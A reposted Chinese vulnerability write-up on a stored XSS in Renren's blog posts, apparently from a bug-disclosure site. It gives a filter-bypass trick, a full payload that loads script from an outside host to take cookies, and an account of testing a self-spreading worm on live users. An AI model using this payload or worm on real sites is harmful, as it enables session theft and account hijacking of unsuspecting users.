好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

人人网日志存储型XSS 绕过过滤器 - 网站安全 - 自

发个人人网的日志存储型XSS,可以加载外部JS,获取Cookies,自动发日志传播XSS代码。小范围测试了蠕虫。危害比较严重。 日志发布时候通过Chrome的审查元素直接编辑HTML代码,或者通过burpsuite改包就可以发布HTML格式的数据。可是发现过滤的比较严,通过一大堆测试样本黑盒测试后发现了侧漏。经过好长时间的筛选找打了绕过过滤器的地方,诡异的很。到现在还很郁闷人人的过滤器到底是个什么机制。

 

XSS测试代码只要加上 <a href="http:// www.2cto.com /gv">&nbsp;</a>

这个标签XSS过滤器就完全失效。后面的gv是必须的,中间也可加字符,比如g__v g.....v 等等 可能是通过正则提取来判断的,黑盒测试结果。。。不明真相,很是郁闷。

比如: 以下代码被过滤 <script>alert(/xss/);</script>

 

以下代码可以绕过过滤器 <script>alert(/xss/);</script> <a href="http://www.test.com/gv">&nbsp;</a>

是不是很奇葩?

但是如果直接加入script标签,script标签里面的数据会被注释掉.

 

于是使用img 的onerror事件 发现居然过滤掉了 说明在这一层还有过滤的

添加了个DIV设置长宽为100% 使用onmousemove行为来触发XSS.

最终利用代码如下 <div style="height:100%; width:100%;z-index:10;position:absolute; left:0px; top:0px;" id="Nietzsche" onmousemove="var script=document.createElement('SCRIPT');script.setAttribute('type','text/javascript');script.setAttribute('src','http://xxxxxx.com/xss-test/renren/test.js');document.getElementsByTagName('head')[0].appendChild(script);"> <a href="http://www.test.com/gv">&nbsp;</a> </div>

 

之后想干什么都可以了。。比如妹纸信息什么的。。

后来和@Drizzle.Risk一起研究了下发日志的功能,发日志时需要验证token,要先获得token。然后@Drizzle.Risk就写了个蠕虫,之前在wooyun看过有人发人人的蠕虫被删账号的,怕怕。就小范围测试了下。可以自动发日志传播XSS代码,标记日志为喜欢。

JS代码就不发上来了

弹窗长的都一样

 

测试下蠕虫 只要放个图片,基本上都会点的吧 点击之后。就可以自动喜欢该日志以及发表新XSS日志。  

  最后发个福利。。贴个大图

 

修复方案: 过滤器的规则貌似有点问题。 具体还是交给人人的大牛分析吧。。

查看更多关于人人网日志存储型XSS 绕过过滤器 - 网站安全 - 自的详细内容...

  阅读:45次